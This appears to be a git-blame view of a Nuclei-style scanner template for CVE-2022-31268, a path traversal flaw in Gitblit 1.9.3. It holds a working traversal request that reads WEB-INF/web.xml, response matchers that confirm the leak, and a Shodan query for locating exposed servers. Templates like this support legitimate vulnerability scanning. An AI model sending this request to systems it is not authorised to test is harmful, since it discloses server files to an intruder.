2022-06-06 10:59:31 +00:00
id : CVE-2022-31268
info :
name : Gitblit 1.9.3 - Path traversal
author : 0x_Akoko
2022-06-06 13:40:27 +00:00
severity : high
2022-06-06 13:27:12 +00:00
description : |
2022-06-06 13:40:27 +00:00
A Path Traversal vulnerability in Gitblit 1.9.3 can lead to reading website files via /resources//../ (e.g., followed by a WEB-INF or META-INF pathname).
2022-06-06 10:59:31 +00:00
reference :
- https://github.com/metaStor/Vuls/blob/main/gitblit/gitblit%20V1.9.3%20path%20traversal/gitblit%20V1.9.3%20path%20traversal.md
- https://www.cvedetails.com/cve/CVE-2022-31268
- https://vuldb.com/?id.200500
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score : 7.5
cve-id : CVE-2022-31268
cwe-id : CWE-22
2022-06-06 13:27:12 +00:00
metadata :
shodan-query : http.html:"Gitblit"
2022-06-06 13:40:27 +00:00
verified : "true"
2022-06-06 13:27:12 +00:00
tags : cve,cve2022,lfi,gitblit
requests :
2022-06-06 10:59:31 +00:00
- method : GET
path :
- "{{BaseURL}}/resources//../WEB-INF/web.xml"
matchers-condition : and
matchers :
- type : word
2022-06-06 13:27:12 +00:00
part : body
2022-06-06 10:59:31 +00:00
words :
- "</web-app>"
- "java.sun.com"
2022-06-06 13:27:12 +00:00
- "gitblit.properties"
2022-06-06 10:59:31 +00:00
condition : and
- type : word
part : header
words :
- "application/xml"
2022-06-06 13:27:12 +00:00
- type : status
status :
- 200